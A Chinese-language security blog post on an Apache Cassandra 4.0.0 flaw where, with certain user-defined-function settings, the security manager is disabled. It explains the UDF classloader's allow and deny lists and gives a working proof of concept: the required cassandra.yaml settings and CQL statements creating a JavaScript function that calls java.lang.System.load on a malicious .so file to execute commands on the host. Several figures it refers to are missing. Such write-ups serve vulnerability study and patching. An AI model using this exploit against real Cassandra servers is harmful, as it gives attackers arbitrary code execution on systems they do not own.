Cassandra 4.0.0
先说原理,enable_user_defined_functions_threads为false时会隐式禁用security-manager,导致可以通过udf执行java代码。
官方公告 https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40
使用以下配置
enable_user_defined_functions: true
enable_scripted_user_defined_functions: true
enable_user_defined_functions_threads: false
攻击者有可能在主机上执行任意代码。搜了下文档,发现有一个function的功能。

用户可以创建udf(用户自定义函数)来执行自定义代码。

默认支持java或者javascript两种。简单看了下代码
org.apache.cassandra.cql3.functions.UDFunction#create 这个地方会创建对应的代码引擎,这两个引擎都继承自UDFunction,并且被设置了一个自定义的classloader:UDFunction.udfClassLoader

这个classloader找class时会进行过滤

secureResource函数定义如图

会遍历黑白名单,要求既要在白名单中并且不在黑名单中。
白名单

黑名单

可以用java.lang.System.load('/tmp/aaa.so');来加载恶意的so文件达到执行命令的目的。
CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
CREATE OR REPLACE FUNCTION exec1(cmd text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE javascript
AS $$
java.lang.System.load('/tmp/aa.so');
$$;
select test.exec1(cmd) from tab;
如果你一直报java.security.AccessControlException: access denied的异常

就是没改conf/cassandra.yaml配置文件,要加上这一行

so文件怎么生成参考园长的文章: https://www.javaweb.org/?p=1866
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。